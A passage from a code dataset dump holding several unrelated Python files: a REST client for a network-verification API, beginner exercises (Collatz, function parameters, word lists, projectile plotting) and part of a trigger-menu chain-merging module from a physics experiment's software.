**kwargs)\n\n @staticmethod\n def __deep_merge(source, destination):\n for key, value in source.items():\n if isinstance(value, dict):\n node = destination.setdefault(key, {})\n _fwdRequest.__deep_merge(value, node)\n else:\n destination[key] = value\n return destination\n\nclass fwdApi: \n def __init__(self, base_url, username, token, network, headers, verify=True):\n self.base_url = base_url\n self.network = network\n self.fwdRequest = _fwdRequest(self.base_url, auth=(username, token), headers=headers, verify=verify)\n def get_network_id(self, network_name):\n all_network = self.get_all_networks().json()\n for n in all_network:\n if n['name'] == network_name:\n return n['id']\n return None\n def get(self, snapshot, ip):\n string = \"/snapshots/{}/search?q={}&max=1\".format(snapshot, ip)\n print (string)\n return self.fwdRequest.get(string)\n \n def request_get(self, endpoint):\n return self.fwdRequest.get(endpoint)\n #networks\n def get_all_networks(self):\n return self.fwdRequest.get(\"/networks\")\n def create_network(self, name):\n return self.fwdRequest.post(\"/networks?name=\"+name)\n def rename_network(self, network_id, new_name):\n return self.fwdRequest.patch(\"/networks/\"+str(network_id), json={\"name\": str(new_name)})\n def delete_network(self, network_id):\n return self.fwdRequest.delete(\"/networks/\"+str(network_id))\n\n #network setups\n def get_device_credential(self, network_id):\n return self.fwdRequest.get(\"/networks/\"+str(network_id)+\"/deviceCredentials\")\n\n #network collection\n def get_collector_status(self, network_id):\n return self.fwdRequest.get(\"/networks/\"+str(network_id)+\"/collector/status\")\n \n def start_collection(self, network_id):\n return self.fwdRequest.post(\"/networks/\"+str(network_id)+\"/startcollection\")\n\n def status_collection(self, network_id):\n return self.fwdRequest.get(\"/networks/\"+str(network_id)+\"/collector/status\")\n\n def stop_collection(self, network_id):\n return self.fwdRequest.post(\"/networks/\"+str(network_id)+\"/cancelcollection\")\n \n def get_snapshot_latest(self, network_id):\n return self.fwdRequest.get(\"/networks/\"+str(network_id)+\"/snapshots/latestProcessed\")\n\n \n def _get_devices(self, network_id=None, snapshot=None):\n if network_id:\n return self.fwdRequest.get(\"/networks/\"+str(network_id)+\"/deviceSources\")\n if snapshot:\n return self.fwdRequest.get(\"/snapshots/\"+str(snapshot)+\"/devices\")\n\n def get_device_file(self, device_name, snapshot, filename):\n return self.fwdRequest.get(\"/snapshots/{}/devices/{}/files/{}\".format(\n snapshot, device_name, filename))\n\n def get_path_search(self, snapshotID, srcIP, dstIp, **kwargs):\n \"\"\"\n Parameters\n ----------\n snapshotID : string or int\n the snapshot id\n srcIP : string\n source ip or subnet\n dstIp : string\n destination ip or subnet\n **kwargs : optional arguments. Consult api-doc for full list. Examples: \n intent: string\n SINGLE_BEST | PREFER_VIOLATIONS | PREFER_DELIVERED | VIOLATIONS_ONLY\n ipProto: string\n ip protocol number\n srcPort: string\n the source port number\n dstPort: string\n the destination port number\n icmpType: string\n when ipProto = 1, defines icmpType number\n include NetworkFunctions: string\n true or false\n If true, the response includes detailed forwarding info for each hop.\n Note: Setting this to true increases the API response time.\n maxResults: string \n [1, 10000]\n maxReturnPathResults: string\n the limit on the number of return path search results. Permitted range = 0 to 10,000. Default 0.\n maxSeconds: string\n the timeout duration. Permitted range = 1 to 600. Default 30.\n\n Returns\n -------\n TYPE\n DESCRIPTION.\n\n \"\"\"\n \n endpoint = \"/snapshots/{}/paths\".format(snapshotID)\n url = '?srcIp={}&dstIp={}'.format(srcIP, dstIp)\n\n for k, v in kwargs.items():\n if v: \n url+='&{}={}'.format(k, v)\n return self.fwdRequest.get(endpoint+url) \n \n def _construct_element(self, keywd):\n ''' internal function for construction json location and headers'''\n result = {}\n if type(keywd) == dict: \n #assumes keywd is location\n result['location'] = keywd\n elif type(keywd) == tuple: \n if len(keywd) == 1 and type(keywd[0]) == dict: \n result['location'] = keywd[0]\n \n elif len(keywd) == 2 and type(keywd[0]) == dict and type(keywd[1]) == dict and len(keywd[1]) == 2:\n result['location'] = keywd[0]\n result['headers'] = [keywd[1]]\n \n elif len(keywd) == 2 and type(keywd[0]) == dict and type(keywd[1]) == list:\n result['location'] = keywd[0]\n result['headers'] = keywd[1]\n else: \n print(\"ERROR: _construct_element - input is:\")\n print(keywd)\n raise ValueError('location or headers is incorrect')\n\n else: \n print(\"ERROR: _construct_element - input is:\")\n print(keywd)\n raise ValueError('location or headers is incorrect')\n\n return result\n\n\n def _construct_json(self,check_type, snapshotID, FROM=None, TO=None, THROUGH=None, INGRESS=None, EGRESS=None, flowTypes=None, permitAll=False):\n \"\"\"\n internal function for function to construct check json\n \"\"\"\n data = {}\n filters = {}\n chain = [] \n if FROM: \n filters['from'] = self._construct_element(FROM)\n if TO: \n filters['to'] = self._construct_element(TO)\n\n if THROUGH: \n if type(THROUGH) is tuple: \n THROUGH = [THROUGH]\n for i in THROUGH: \n chain_ele = self._construct_element(i)\n chain_ele['transitType'] = 'through'\n chain.append(chain_ele)\n\n if EGRESS: \n if type(EGRESS) is tuple: \n EGRESS = [EGRESS]\n for i in EGRESS: \n chain_ele = self._construct_element(i)\n chain_ele['transitType'] = 'egress'\n chain.append(chain_ele)\n\n if INGRESS: \n if type(INGRESS) is tuple: \n INGRESS = [INGRESS]\n for i in INGRESS: \n chain_ele = self._construct_element(i)\n chain_ele['transitType'] = 'ingress'\n\n chain.append(chain_ele)\n\n if flowTypes: \n filters['flowTypes'] = [flowTypes]\n\n data['checkType'] = check_type\n data['filters'] = filters\n\n if len(chain) > 0:\n data['filters']['chain'] = chain\n if permitAll: \n data['filters']['mode'] = \"PERMIT_ALL\"\n \n print(\"*************\")\n print(data)\n print(\"*************\")\n\n return data\n\n def post_nqe_check(self, query, snapshot=None):\n url = \"/nqe?networkId={}\".format(self.network)\n if snapshot: \n url = \"/nqe?snapshotId={}\".format(snapshot)\n \n payload = {\"query\": query}\n \n result = self.fwdRequest.post(url, json=payload)\n \n return result.json()\n \n def post_nqe_para_check(self, queryId, params, snapshot=None):\n url = \"/nqe?networkId={}\".format(self.network)\n if snapshot: \n url = \"/nqe?snapshotId={}\".format(snapshot)\n payload = {\n \"queryId\": queryId,\n \"parameters\": params\n } \n result = self.fwdRequest.post(url, json=payload)\n return result.json()\n\n def post_existance_check(self, snapshotID, FROM=None, TO=None, THROUGH=None, INGRESS=None, EGRESS=None, flowTypes=None, permitAll=True):\n \"\"\"\n Parameters\n ----------\n snapshotID : string or int\n the snapshot id.\n FROM : tuple, optional\n a tuple of dict in (location, header)\n TO : tuple, optional\n a tuple of dict in (location, header)\n THROUGH : list or tuple, optional\n a tuple in format of (location, header) or (location, [header1, header2...])\n INGRESS : list or tuple, optional\n a tuple in format of (location, header) or (location, [header1, header2...])\n EGRESS : list or tuple, optional\n a tuple in format of (location, header) or (location, [header1, header2...])\n flowTypes : string, optional\n delivered | loop | blackhole | dropped | inadmissible | unreachable | undelivered\n\n permitAll : boolean, optional\n enables permit all mode\n\n Returns\n -------\n None.\n\n \"\"\"\n data = self._construct_json('Existential', snapshotID, FROM, TO, THROUGH, INGRESS, EGRESS, flowTypes, permitAll)\n print(self.fwdRequest.post(\"/snapshots/{}/checks\".format(snapshotID), json=data).text)\n\n def post_isolation_check(self, snapshotID, FROM=None, TO=None, THROUGH=None, INGRESS=None, EGRESS=None, flowTypes=None, permitAll=True):\n \"\"\"\n Parameters\n ----------\n snapshotID : string or int\n the snapshot id.\n FROM : tuple, optional\n a tuple of dict in (location, header)\n TO : tuple, optional\n a tuple of dict in (location, header)\n THROUGH : list or tuple, optional\n a tuple in format of (location, header) or (location, [header1, header2...])\n INGRESS : list or tuple, optional\n a tuple in format of (location, header) or (location, [header1, header2...])\n EGRESS : list or tuple, optional\n a tuple in format of (location, header) or (location, [header1, header2...])\n flowTypes : string, optional\n delivered | loop | blackhole | dropped | inadmissible | unreachable | undelivered\n\n permitAll : boolean, optional\n enables permit all mode\n\n Returns\n -------\n None.\n\n \"\"\"\n data = self._construct_json('Isolation', snapshotID, FROM, TO, THROUGH, INGRESS, EGRESS, flowTypes, permitAll)\n print(self.fwdRequest.post(\"/snapshots/{}/checks\".format(snapshotID), json=data).text)\n \n def post_reachability_check(self, snapshotID, FROM=None, TO=None, permitAll=False):\n \n \"\"\"\n \n Parameters\n ----------\n snapshotID : String or int\n the snapshot ID\n FROM : tuple, REQUIRED\n a tuple of dict in (location, header)\n TO : TYPE, optional\n DESCRIPTION. The default is None.\n permitAll : TYPE, optional\n DESCRIPTION. The default is False.\n\n Returns\n -------\n result : request\n returns the request object.\n\n \"\"\"\n if FROM == None: \n sys.exit(\"Reachability check for FROM is required.\")\n if type(TO) != tuple and type(TO) != dict: \n sys.exit(\"Reachability check for TO is optional. It is either a location dict, or a set (location). \"+ str(type(TO))+ \" is not supported\")\n if type(TO) == tuple and len(TO) != 1: \n sys.exit(\"Reachability check for TO cannot have headers.\")\n if type(TO) == dict: \n TO = (TO,)\n \n data = self._construct_json('Reachability', snapshotID, FROM=FROM, TO=TO)\n result = self.fwdRequest.post(\"/snapshots/{}/checks\".format(snapshotID), json=data)\n print(result.text)\n return result\n def get_intent_checks(self, snapshotID, checkType): \n #get all intent checks\n #checkType: Isolation, Reachability, Existential, QueryStringBased, Predefined, NQE\n \n url = \"/snapshots/{}/checks?type={}\".format(snapshotID, checkType)\n print(url)\n result = self.fwdRequest.get(url)\n return result\n\n def get_intranet_nodes(self, snapshotID): \n url = \"/snapshots/{}/intranetNodes\".format(snapshotID)\n print(url)\n result = self.fwdRequest.get(url)\n print(result.json())\n return result \n\n def add_intranet_node(self, NetworkID, snapshotID, IntranetName, DeviceName, Interface,\n SubnetAutoDiscovery=\"IP_ROUTES\", advertisesDefaultRoute=False, locationId=\"default\"): \n \"\"\"\n SubnetAutoDiscovery=[ NONE, IP_ROUTES, BGP_ROUTES ]\n \"\"\"\n existing_intranet = self.get_intranet_nodes(snapshotID).json()\n existing_name = [ i['name'] for i in\n existing_intranet['intranetNodes'] ]\n url = \"/snapshots/{}/intranetNodes/{}\".format(snapshotID, IntranetName)\n all_devices = self._get_devices(NetworkID)\n locationId = [ i['locationId'] for i in all_devices.json() if i['name'] ==\n DeviceName and 'locationId' in i ]\n\n print(locationId)\n\n if len(locationId) == 0: \n locationId=\"default\"\n else: \n locationId = locationId[0]\n\n print(\"LOCATION ID IS##### {}\".format(locationId))\n data = {\n 'name' : IntranetName,\n 'locationId' : locationId\n }\n data['connections']=[]\n uplinkPort = {\n 'device': DeviceName,\n 'port': Interface\n }\n\n\n conn = {\n 'uplinkPort' : uplinkPort,\n 'name' : DeviceName+\"_\"+Interface,\n 'subnetAutoDiscovery' : SubnetAutoDiscovery,\n 'advertisesDefaultRoute' : advertisesDefaultRoute\n }\n\n data['connections'].append(conn)\n\n payload = {\n 'intranetNodes' : [data]\n }\n payload = data\n if IntranetName in existing_name: \n print(\"intranet already exist\")\n result = self.fwdRequest.post(url+\"/connections\", json=conn)\n else: \n print(\"new intranet node\")\n result = self.fwdRequest.put(url, json=payload)\n print(payload)\n print(result.text)\n return result\n\n\n\n\ndef gen_headers(value_type, value, header_type=\"PacketFilter\", direction=None, notFilter=False):\n \"\"\"\n helper function constructs json header format\n value: a STRING corresponding to value_type\n direction: \"src\" or \"dst\"\n \n Parameters\n ----------\n value_type : string\n a string of header formats. Most commonly used are: \n ipv4_src |ipv4_dst ipv6_src | ipv6_dst mac_src | mac_dst tp_src | tp_dst| eth_type| vlan_vid| ip_proto\n value : string\n the value of the corresponding value_type.\n header_type : string, optional\n DESCRIPTION. The default is \"PacketFilter\". \"PacketAliasFilter\" needs corresponding alias set\n direction : string, optional\n DESCRIPTION. Either \"src\" or \"dst\"\n notFilter : boolean, optional\n DESCRIPTION. The default is False. If set to True negates the header value_type and value. \n\n Returns\n -------\n dict\n constructed header dict usable for fwdApi.\n\n \"\"\"\n header={}\n header['type'] = header_type\n if header_type == \"PacketFilter\": \n header['values'] = {str(value_type): [str(value)]}\n elif header_type == \"PacketAliasFilter\":\n header['value'] = value\n else: \n sys.exit(\"header_type is either 'PacketFilter' or 'PacketAliasFilter'\")\n\n if direction: \n header['direction'] = direction\n if notFilter == True:\n notHeader ={}\n notHeader['type'] = \"NotFilter\"\n notHeader['clause'] = header\n return notHeader\n return header\n\n#location = (\"SubnetLocationFilter\", ipaddr), HostFilter\n\ndef gen_location(SubnetLocationFilter=None, HostFilter=None, DeviceFilter=None, InterfaceFilter=None, \n VrfFilter=None, HostAliasFilter=None, DeviceAliasFilter=None, InterfaceAliasFilter=None):\n \"\"\"\n helper function constructs json location format\n ONLY ONE input\n\n Parameters\n ----------\n SubnetLocationFilter : string, optional\n DESCRIPTION. an IP address or subnet\n HostFilter : string, optional\n DESCRIPTION. The default is None.\n DeviceFilter : string, optional\n DESCRIPTION. one host or Edge Node name, IP address, subnet, or MAC address\n InterfaceFilter : string, optional\n DESCRIPTION. one interface name, qualified with its device name\n VrfFilter : string, optional\n DESCRIPTION. one VRF name, optionally qualified with a device name\n HostAliasFilter : string, optional\n DESCRIPTION. a HOSTS Alias name\n DeviceAliasFilter : string, optional\n DESCRIPTION. a DEVICES Alias name\n InterfaceAliasFilter : string, optional\n DESCRIPTION. an INTERFACES\n\n Returns\n -------\n dict\n constructed location dict usable for fwdApi.\n\n \"\"\"\n if sum(v == None for v in locals().values()) != 7: \n sys.exit(\"gen_location() takes only one input\")\n #[result['type'] = v if v != None for v in locals().values()]\n for x, y in locals().items():\n if y != None:\n if x == \"HostFilter\" or x == \"DeviceFilter\" or x == \"InterfaceFilter\" or x == \"VrfFilter\":\n return { 'type': x, 'values': [y]}\n else:\n return { 'type': x, 'value': y}\n \n\n","repo_name":"Jack-Shen/fwd_python_api","sub_path":"fwd_json.py","file_name":"fwd_json.py","file_ext":"py","file_size_in_byte":19079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41817006479","text":"from VertikalniHitac import VertikalniHitac\nimport matplotlib.pyplot as plt\nobjekt = VertikalniHitac(10,10)\ndt_l = [0.01,0.05,0.1]\nh =[]\nt= []\nfor i in dt_l: \n h.append(objekt.max_h_otporz(3,5,dt=i))\n t.append(objekt.vrijeme_trajanja_otporz(3,5,dt=i))\nfig,(p1,p2)= plt.subplots(2,1)\np1.plot(dt_l,h,label='hmax-dt')\np2.plot(dt_l,t,label='vrijeme-dt')\nplt.tight_layout()\nplt.show()","repo_name":"ir1is/PAF","sub_path":"ISPIT/zad.5.py","file_name":"zad.5.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15793010419","text":"# THIS CODE IS PARAMETER ()\ndef studentScore(name, score):\n print(name, \"Scored \", score, \" Marks\")\n\n\nstudentScore(\"suranjan\", 80)\nstudentScore(\"Mrunmayi\", 95)\n\n\n# THIS CODE IS FOR DEFAULT PARAMETER()\n# THIS IS USED BECZ IF IM DATABASE THER IS NO VALUE SO IT WILL BE NULL AND I WILL SHOW ERROR SO THAT WHY WE USED DEFAULT PARAMETER\nprint(\"***DEFAULT PARAMETER()***\")\n\n\ndef Studentscore(name=\"suranjan\", score=75):\n print(name, \"Scored \", score, \" Marks\")\n\nStudentscore()\nStudentscore(\"Mrunmayi\")\nStudentscore(score=55)\n","repo_name":"mhashilkar/Python-","sub_path":"2.9.1_default_parameter.py","file_name":"2.9.1_default_parameter.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33862789584","text":"from typing import *\n\n\ndef largestK(a: List[int], b: List[int], n: int) -> int:\n delta = [[0 for _ in range(n + 1)] for _ in range(n + 1)]\n\n for i in range(n - 1, -1, -1):\n for j in range(n - 1, -1, -1):\n if a[i] <= b[j]:\n delta[j][i] = delta[j + 1][i + 1] + 1\n\n maxi = 0\n\n for i in delta:\n for j in i:\n maxi = max(maxi, j)\n\n return maxi\n\n\nfor _ in range(int(input())):\n print(\n largestK(\n int(input()),\n list(map(int, input().split())),\n list(map(int, input().split())),\n )\n )\n","repo_name":"TheFenrisLycaon/Competitive-Programming","sub_path":"CodeKaze/kaze5.py","file_name":"kaze5.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12506034794","text":"'''\nWrite a program that keeps asking the user for new words to be added to a list until the user enters 'x' ('x' should NOT be added to the list). This list is printed out.\n\nAfter that, the program creates a new list with the words, of length > 1, from the original list that begin and end with the same character. Finally, the program prints out all of the words in the new list, one per line.\n\nExample input/output:\n\nEnter word to be added to list: mam\nEnter word to be added to list: he\nEnter word to be added to list: would\nEnter word to be added to list: wow\nEnter word to be added to list: I\nEnter word to be added to list: like\nEnter word to be added to list: not\nEnter word to be added to list: abba\nEnter word to be added to list: x\n['mam', 'he', 'would', 'wow', 'I', 'like', 'not', 'abba']\nmam\nwow\nabba\n'''\ndef begins_and_ends(word:str):\n return word[0] == word[-1] and len(word) > 1\n\n\nlisti = []\nwhile True:\n new_word = input(\"Enter word to be added to list: \")\n\n if new_word == 'x':\n break\n listi.append(new_word)\n\nprint(listi)\n\nfor x in listi:\n if begins_and_ends(x):\n print(x)","repo_name":"Illugi317/forritun","sub_path":"mimir/10/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12905220035","text":"#project euler problem 14\n#longest collatz sequence\n\n#n -> n/2 (if n is even)\n#n -> 3n+1 (if n is odd)\n\nlongest = 1000000\nlongest_count = 0\n\nfor n in range(2, 1000001):\n num = n\n count = 0\n while n > 1:\n #print(n)\n if n%2 == 0:\n n = n/2\n count += 1\n else:\n n = (3*n)+1\n count += 1\n if count > longest_count:\n longest = num\n longest_count = count\n print(\"num: {}, count: {}\".format(num,count))\n print(\"longest: {}, longest_count: {}\".format(longest, longest_count))\n print(\"--------------------------------------\")\n\nc = input(\"finished... \")\n\n#837799\n","repo_name":"HalleGJ18/project_euler","sub_path":"problem14.py","file_name":"problem14.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71399519553","text":"def mayor10():\n n = int(input(\"Ingrese un número: \"))\n if(n > 10):\n print(n)\n else:\n print(f\"El número {n} es menor a diez.\")\n\ndef sumaIgualAlTercero( a=0 , b=0, c=0 ):\n sumar = int(a + b)\n if (sumar == c):\n print(f\"La suma de {a} y {b} es igual a {c}\")\n else:\n print(f\"La suma de {a} y {b} es distinta a {c}\")\n\n\ndef dividirCuadrado(num1=1, num2=1):\n mayor = 0\n menor = 0\n\n if (num1 == num2):\n return str(\"Los numeros ingresados son iguales\") # Esta linea solo debe retornar el numero 1\n elif (num1 > num2):\n mayor = num1\n menor = num2\n else:\n mayor = num2\n menor = num1\n\n div = int((mayor * mayor) / (menor * menor))\n return str(f\"El resultado es: {div}\") # Esta linea solo debe retornar la variable div\n\ndef celcius():\n f = int(input(\"Ingrese la temperatura en fahrenheit: \"))\n c = int((5/9) * (f - 32))\n\n return c\n\n","repo_name":"cantariniSol/AlgoritmosEstructuraDeDatosI-IRESM","sub_path":"02. Guía Práctica N° 2 - Funciones/funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71109943873","text":"from TriggerMenuMT.HLT.Config.Utility.MenuAlignmentTools import get_alignment_group_ordering as getAlignmentGroupOrdering\nfrom TriggerMenuMT.HLT.Config.MenuComponents import Chain, ChainStep, EmptyMenuSequence, EmptyMenuSequenceCA\n\nfrom AthenaCommon.Logging import logging\nfrom DecisionHandling.DecisionHandlingConfig import ComboHypoCfg\nfrom TrigCompositeUtils.TrigCompositeUtils import legName\nfrom TriggerMenuMT.HLT.Config.ControlFlow.HLTCFTools import NoCAmigration\nfrom TriggerMenuMT.HLT.Config.GenerateMenuMT_newJO import isCAMenu \n\nfrom collections import OrderedDict\nfrom copy import deepcopy\nimport re\n\nlog = logging.getLogger( __name__ )\n\ndef mergeChainDefs(listOfChainDefs, chainDict, perSig_lengthOfChainConfigs = None):\n #chainDefList is a list of Chain() objects\n #one for each part in the chain\n \n # protect against serial merging in the signature code (to be fixed)\n if isCAMenu():\n try: \n for chainPartConfig in listOfChainDefs:\n if any ([ \"_MissingCA\" in step.name for step in chainPartConfig.steps]):\n # flag as merged all CAs created , but not used \n [seq.ca.wasMerged() for chainPartConfig in listOfChainDefs for step in chainPartConfig.steps for seq in step.sequences ] \n raise NoCAmigration (f'[mergeChainDefs] not possible for chain {chainDict[\"chainName\"]} due to missing configurations')\n except NoCAmigration as e:\n log.debug(str(e))\n if perSig_lengthOfChainConfigs is None:\n return None\n else:\n return None, None \n\n strategy = chainDict[\"mergingStrategy\"]\n offset = chainDict[\"mergingOffset\"]\n log.debug(\"[mergeChainDefs] %s: Combine by using %s merging\", chainDict['chainName'], strategy)\n\n leg_numbering = []\n\n if 'Bjet' in chainDict['signatures'] and 'Jet' in chainDict['signatures']:#and chainDict['Signature'] == 'Bjet':\n leg_numbering = [it for it,s in enumerate(chainDict['signatures'])]# if s != 'Jet']\n\n if strategy==\"parallel\":\n return mergeParallel(listOfChainDefs, offset)\n elif strategy==\"serial\":\n return mergeSerial(listOfChainDefs)\n\n elif strategy==\"auto\":\n ordering = getAlignmentGroupOrdering()\n merging_dict = OrderedDict()\n for ich,cConfig in enumerate(listOfChainDefs):\n chain_ag = cConfig.alignmentGroups[0]\n if chain_ag not in ordering:\n log.error(\"[mergeChainDefs] Alignment group %s can't be auto-merged because it's not in the grouping list!\",chain_ag)\n if chain_ag in merging_dict:\n merging_dict[chain_ag] += [ich]\n else:\n merging_dict[chain_ag] = [ich]\n \n tmp_merged = []\n tmp_merged_ordering = []\n for ag in merging_dict:\n if len(merging_dict[ag]) > 1:\n log.debug(\"[mergeChainDefs] parallel merging\")\n new_chain_defs, perSig_lengthOfChainConfigs = mergeParallel(list( listOfChainDefs[i] for i in merging_dict[ag] ), offset, leg_numbering, perSig_lengthOfChainConfigs)\n tmp_merged += [new_chain_defs]\n tmp_merged_ordering += [ordering.index(ag)]\n else:\n log.debug(\"[mergeChainDefs] don't need to parallel merge\")\n tmp_merged += [listOfChainDefs[merging_dict[ag][0]]]\n tmp_merged_ordering += [ordering.index(ag)]\n \n #reset the ordering to index from zero (padding comes later!)\n merged_ordering = [-1]*len(tmp_merged_ordering)\n copy_ordering = tmp_merged_ordering.copy()\n tmp_val = 0\n while len(copy_ordering) > 0:\n min_index = tmp_merged_ordering.index(min(copy_ordering))\n copy_ordering.pop(copy_ordering.index(min(copy_ordering)))\n merged_ordering[min_index] = tmp_val\n tmp_val += 1\n \n # only serial merge if necessary\n if len(tmp_merged) == 1: \n if perSig_lengthOfChainConfigs is None:\n log.debug(\"[mergeChainDefs] tmp merged has length 1, returning 0th element\")\n return tmp_merged[0]\n else:\n log.debug(\"[mergeChainDefs] tmp merged has length 1, returning 0th element and perSig list\")\n return tmp_merged[0], perSig_lengthOfChainConfigs\n\n if perSig_lengthOfChainConfigs is None:\n log.debug(\"[mergeChainDefs] serial merging first\")\n return mergeSerial(tmp_merged, merged_ordering) #shouldn't need to modify it here! \n else:\n log.debug(\"[mergeChainDefs] returning mergeSerial result and perSig_lengthOfChainConfigs %s\",perSig_lengthOfChainConfigs)\n return mergeSerial(tmp_merged, merged_ordering), perSig_lengthOfChainConfigs #shouldn't need to modify it here! \n \n else:\n log.error(\"[mergeChainDefs] Merging failed for %s. Merging strategy '%s' not known.\", (listOfChainDefs, strategy))\n return -1\n\n\n\ndef check_leg_lengths(perSig_lengthOfChainConfigs):\n if not perSig_lengthOfChainConfigs: #default is None\n return \"\", -1\n leg_length_dict = {}\n for leg_lengths, leg_grps in perSig_lengthOfChainConfigs:\n for grp, length in zip(leg_grps,leg_lengths):\n if grp in leg_length_dict:\n leg_length_dict[grp] += [length]\n else:\n leg_length_dict[grp] = [length]\n found_mismatch = False\n max_length = -1\n mismatched_ag = \"\"\n log.debug(\"[check_leg_lengths] leg lengths: %s\",leg_length_dict)\n for grp,lengths in leg_length_dict.items():\n if len(set(lengths)) > 1: #a mismatch! \n log.debug(\"[check_leg_lengths] found mismatch for %s given %s\", grp, lengths)\n if found_mismatch:\n log.error(\"[check_leg_lengths] Second mismatch in the same chain! I don't know how to deal with this, please resolve. Chain leg lengths: %s\",perSig_lengthOfChainConfigs)\n log.error(\"[check_leg_lengths] Second mismatch in the same chain! lengths,grp: %s,%s\",lengths, grp)\n raise Exception(\"[are_lengths_mismatched] Cannot merge chain, exiting.\")\n found_mismatch = True\n max_length = max(lengths)\n mismatched_ag = grp\n \n return mismatched_ag, max_length\n\n \ndef mergeParallel(chainDefList, offset, leg_numbering = [], perSig_lengthOfChainConfigs = None):\n \n if offset != -1:\n log.error(\"[mergeParallel] Offset for parallel merging not implemented.\")\n raise Exception(\"[mergeParallel] Cannot merge this chain, exiting.\")\n\n allSteps = []\n allStepsMult = []\n nSteps = []\n chainName = ''\n l1Thresholds = []\n alignmentGroups = []\n vertical_alignment_groups = []\n\n for iConfig, cConfig in enumerate(chainDefList):\n if chainName == '':\n chainName = cConfig.name\n elif chainName != cConfig.name:\n log.error(\"[mergeParallel] Something is wrong with the combined chain name: cConfig.name = %s while chainName = %s\", cConfig.name, chainName)\n raise Exception(\"[mergeParallel] Cannot merge this chain, exiting.\")\n\n if len(cConfig.alignmentGroups) == 1 or len(set(cConfig.alignmentGroups)) == 1:\n alignmentGroups.append(cConfig.alignmentGroups[0])\n elif len(cConfig.alignmentGroups) > 1:\n log.debug(\"[mergeParallel] Parallel merging an already merged chain with different alignment groups? This is odd! %s\",cConfig.alignmentGroups)\n log.debug(\"...let's look at the config: %s\", perSig_lengthOfChainConfigs)\n # if the length the matching group in the pre-merged part is shorter than the full one,\n # we need to patch it up to the full length by adding empty steps so that when\n # we merge, the longer leg doesn't merge onto the second alignment group \n align_grp_to_lengthen, max_length = check_leg_lengths(perSig_lengthOfChainConfigs)\n if max_length > -1:\n current_leg_ag_length = -1\n index_modified_leg = -1\n leg_lengths, leg_ags = perSig_lengthOfChainConfigs[iConfig] \n for ileg, (length, ag) in enumerate(zip(leg_lengths, leg_ags)):\n if ag == align_grp_to_lengthen:\n current_leg_ag_length = length\n index_modified_leg = ileg\n log.debug(\"[mergeParallel] ileg %s, length %s, ag %s: \",ileg, length, ag)\n break \n # it's already merged so even if there is more than one in this chain\n # they had better be the same length already\n \n n_new_steps = max_length - current_leg_ag_length\n \n previous_step_dicts = cConfig.steps[current_leg_ag_length-1].stepDicts\n for i in range(1,n_new_steps+1):\n step_mult = []\n sigNames = []\n\n for ileg,stepDict in enumerate(previous_step_dicts):\n is_fs_string = 'FS' if isFullScanRoI(cConfig.L1decisions[ileg]) else ''\n sigNames += [stepDict['chainParts'][0]['signature'] + is_fs_string]\n\n seqMultName = '_'.join([sigName for sigName in sigNames])\n seqStepName = 'Empty' + align_grp_to_lengthen + 'Align' + str(current_leg_ag_length+i) + '_' + seqMultName\n seqNames = [getEmptySeqName(previous_step_dicts[iSeq]['signature'], current_leg_ag_length+i, align_grp_to_lengthen) for iSeq in range(len(sigNames))]\n\n emptySequences = build_empty_sequences(previous_step_dicts, step_mult, 'mergeParallel', cConfig.L1decisions, seqNames, chainName)\n\n cConfig.steps.insert(current_leg_ag_length + i - 1, #-1 to go to indexed from zero\n ChainStep( seqStepName, Sequences=emptySequences,\n multiplicity = step_mult, chainDicts=previous_step_dicts,\n isEmpty = True)\n )\n \n \n # edited the lengths, so need to update the leg length dict the code we did so!\n perSig_lengthOfChainConfigs[iConfig][0][index_modified_leg] = max_length\n else: \n log.info(\"[mergeParallel] Alignment groups are empty for this combined chain - if this is not _newJO, this is not ok!\")\n\n allSteps.append(cConfig.steps)\n allStepsMult.append(len(cConfig.steps[0].multiplicity))\n nSteps.append(len(cConfig.steps))\n l1Thresholds.extend(cConfig.vseeds)\n \n # Use zip_longest_parallel so that we get None in case one chain has more steps than the other\n orderedSteps = list(zip_longest_parallel(allSteps, allStepsMult))\n \n if perSig_lengthOfChainConfigs is not None and len(perSig_lengthOfChainConfigs) > 0:\n in_chain_ag_lengths = OrderedDict()\n ag_ordering = getAlignmentGroupOrdering()\n for ag in ag_ordering:\n for ag_lengths,sig_ags in perSig_lengthOfChainConfigs:\n for ag_length, sig_ag in zip(ag_lengths, sig_ags):\n if (sig_ag in in_chain_ag_lengths and in_chain_ag_lengths[sig_ag] < ag_length) or sig_ag not in in_chain_ag_lengths:\n in_chain_ag_lengths[sig_ag] = ag_length\n for ag, ag_length in in_chain_ag_lengths.items():\n vertical_alignment_groups += [ag]*ag_length\n else:\n #it's all one alignment group in this case\n vertical_alignment_groups = [alignmentGroups[0]]*len(orderedSteps) \n\n\n log.debug(\"[mergeParallel] alignment groups horizontal: %s\", alignmentGroups)\n log.debug(\"[mergeParallel] alignment groups vertical: %s\", vertical_alignment_groups)\n \n combChainSteps =[]\n log.debug(\"[mergeParallel] len(orderedSteps): %d\", len(orderedSteps))\n for chain_index in range(len(chainDefList)):\n log.debug('[mergeParallel] Chain object to merge (i.e. chainDef) %s', chainDefList[chain_index])\n\n for step_index, (steps, step_ag) in enumerate(zip(orderedSteps,vertical_alignment_groups)):\n mySteps = list(steps)\n log.debug(\"[mergeParallel] Merging step counter %d\", step_index+1)\n\n combStep = makeCombinedStep(mySteps, step_index+1, chainDefList, orderedSteps, combChainSteps, leg_numbering, step_ag)\n combChainSteps.append(combStep)\n \n combinedChainDef = Chain(chainName, ChainSteps=combChainSteps, L1Thresholds=l1Thresholds, \n nSteps = nSteps, alignmentGroups = alignmentGroups)\n\n log.debug(\"[mergeParallel] Parallel merged chain %s with these steps:\", 